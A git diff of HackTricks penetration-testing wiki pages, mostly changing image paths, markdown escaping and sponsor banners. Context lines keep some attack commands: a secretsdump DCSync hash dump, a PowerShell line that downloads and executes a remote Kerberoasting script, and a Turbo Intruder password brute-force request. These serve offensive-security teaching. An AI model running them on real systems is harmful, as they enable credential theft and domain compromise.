 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -281,12 +277,12 @@ for u in get_usernames():
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\

pentesting-web/race-condition.md

@@ -1,6 +1,6 @@
 # Race Condition
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -52,7 +52,7 @@ Note that It **doesn't work for static files** on certain servers but as static
 
 Using this technique, you can make 20-30 requests arrive at the server simultaneously - regardless of network jitter:
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 **Adapting to the target architecture**
 
@@ -72,13 +72,13 @@ If connection warming doesn't make any difference, there are various solutions t
 
 Using Turbo Intruder, you can introduce a short client-side delay. However, as this involves splitting your actual attack requests across multiple TCP packets, you won't be able to use the single-packet attack technique. As a result, on high-jitter targets, the attack is unlikely to work reliably regardless of what delay you set.
 
-<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Instead, you may be able to solve this problem by abusing a common security feature.
 
 Web servers often **delay the processing of requests if too many are sent too quickly**. By sending a large number of dummy requests to intentionally trigger the rate or resource limit, you may be able to cause a suitable server-side delay. This makes the single-packet attack viable even when delayed execution is required.
 
-<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 {% hint style="warning" %}
 For more information about this technique check the original report in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
@@ -88,7 +88,7 @@ For more information about this technique check the original report in [https://
 
 * **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: You can send the request to **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), you can change in the request the value you want to brute force for **`%s`** like in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` and then select the **`examples/race-single-packer-attack.py`** from the drop down:
 
-<figure><img src="../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are going to **send different values**, you could modify the code with this one that uses a wordlist from the clipboard:
 
@@ -141,7 +141,7 @@ Content-Length: 0
   * For **delaying** the process **between** processing **one request and another** in a 2 substates steps, you could **add extra requests between** both requests.
   * For a **multi-endpoint** RC you could start sending the **request** that **goes to the hidden state** and then **50 requests** just after it that **exploits the hidden state**.
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Raw BF
 
@@ -238,7 +238,7 @@ Operations that edit existing data (such as changing an account's primary email
 
 Most endpoints operate on a specific record, which is looked up using a 'key', such as a username, password reset token, or filename. For a successful attack, we need two operations that use the same key. For example, picture two plausible password reset implementations:
 
-<figure><img src="../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 2. **Probe for clues**
 
@@ -335,7 +335,7 @@ Once you have **obtained a valid RT** you could try to **abuse it to generate se
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\

pentesting-web/rate-limit-bypass.md

@@ -1,6 +1,6 @@
 # Rate Limit Bypass
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -15,8 +15,8 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -68,12 +68,12 @@ Maybe if you **login into your account before each attempt** (or each set of X t
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\

pentesting-web/ssrf-server-side-request-forgery/README.md

@@ -1,6 +1,6 @@
 # SSRF (Server Side Request Forgery)
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -233,7 +233,7 @@ if __name__ == "__main__":
     app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
 ```
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -351,7 +351,7 @@ SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\

pentesting-web/xs-search.md

@@ -1,6 +1,6 @@
 # XS-Search/XS-Leaks
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
@@ -76,7 +76,7 @@ You can access the tool in [https://xsinator.com/](https://xsinator.com/)
 **Excluded XS-Leaks**: We had to exclude XS-Leaks that rely on **service workers** as they would interfere with other leaks in XSinator. Furthermore, we chose to **exclude XS-Leaks that rely on misconfiguration and bugs in a specific web application**. For example, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage or Cross-Site Scripting. Additionally, we excluded timebased XS-Leaks since they often suffer from being slow, noisy and inaccurate.
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -214,7 +214,7 @@ You can perform the same attack with **`portal`** tags.
 
 Applications often use [postMessage broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) to share information with other origins. Listening to this messages one could find **sensitive info** (potentially if the the `targetOrigin` param is not used). Also, the fact of receiving some message can be **used as an oracle** (you only receive this kind of message if you are logged in).
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -311,7 +311,7 @@ For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
 
 ##
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
@@ -875,7 +875,7 @@ In an execution timing it's possible to **eliminate** **network factors** to obt
 * **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API can be used to measure how much time it takes to perform a request using `window.open`. Other clocks could be used.
 * **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -1000,7 +1000,7 @@ More generic methods:
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\

pentesting-web/xss-cross-site-scripting/dom-invader.md

@@ -31,7 +31,7 @@ In the Burp's builtin browser go to the **Burp extension** and enable it:
 
 Noe refresh the page and in the **Dev Tools** you will find the **DOM Invader tab:**
 
-<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Inject a Canary
 

stego/stego-tricks.md

@@ -7,12 +7,12 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
 
 Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
 
@@ -86,10 +86,10 @@ cmp original.jpg stego.jpg -b -l
 If you find that a **text line** is **bigger** than it should be, then some **hidden information** could be included inside the **spaces** using invisible characters.󐁈󐁥󐁬󐁬󐁯󐀠󐁴󐁨\
 To **extract** the **data**, you can use: [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -222,13 +222,12 @@ To read a QR code: [https://online-barcode-reader.inliteresearch.com/](https://o
 * [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
 * [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
 
-<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
 
 Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
 
 {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
 
-
 <details>
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
@@ -236,7 +235,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

windows-hardening/active-directory-methodology/dcsync.md

@@ -1,6 +1,6 @@
 # DCSync
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -15,8 +15,8 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -53,11 +53,11 @@ secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
 [-history] #To dump password history, may be helpful for offline password cracking
 ```
 
-&#x20;`-just-dc`  generates 3 files:
+`-just-dc` generates 3 files:
 
 * one with the **NTLM hashes**
 * one withe the **Kerberos keys**
-*   one with cleartext passwords from the NTDS for any accounts set with [**reversible encryption**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) **** enabled. You can get users with reversible encryption with&#x20;
+*   one with cleartext passwords from the NTDS for any accounts set with [**reversible encryption**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) \*\*\*\* enabled. You can get users with reversible encryption with
 
     ```powershell
     Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
@@ -96,12 +96,12 @@ Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveG
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\

windows-hardening/active-directory-methodology/kerberoast.md

@@ -1,6 +1,6 @@
 # Kerberoast
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -15,8 +15,8 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -107,15 +107,11 @@ iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com
 Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
 ```
 
-
-
 {% hint style="warning" %}
 When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.
 {% endhint %}
 
-
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
-
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -141,9 +137,10 @@ If you have **enough permissions** over a user you can **make it kerberoastable*
 
 You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
 
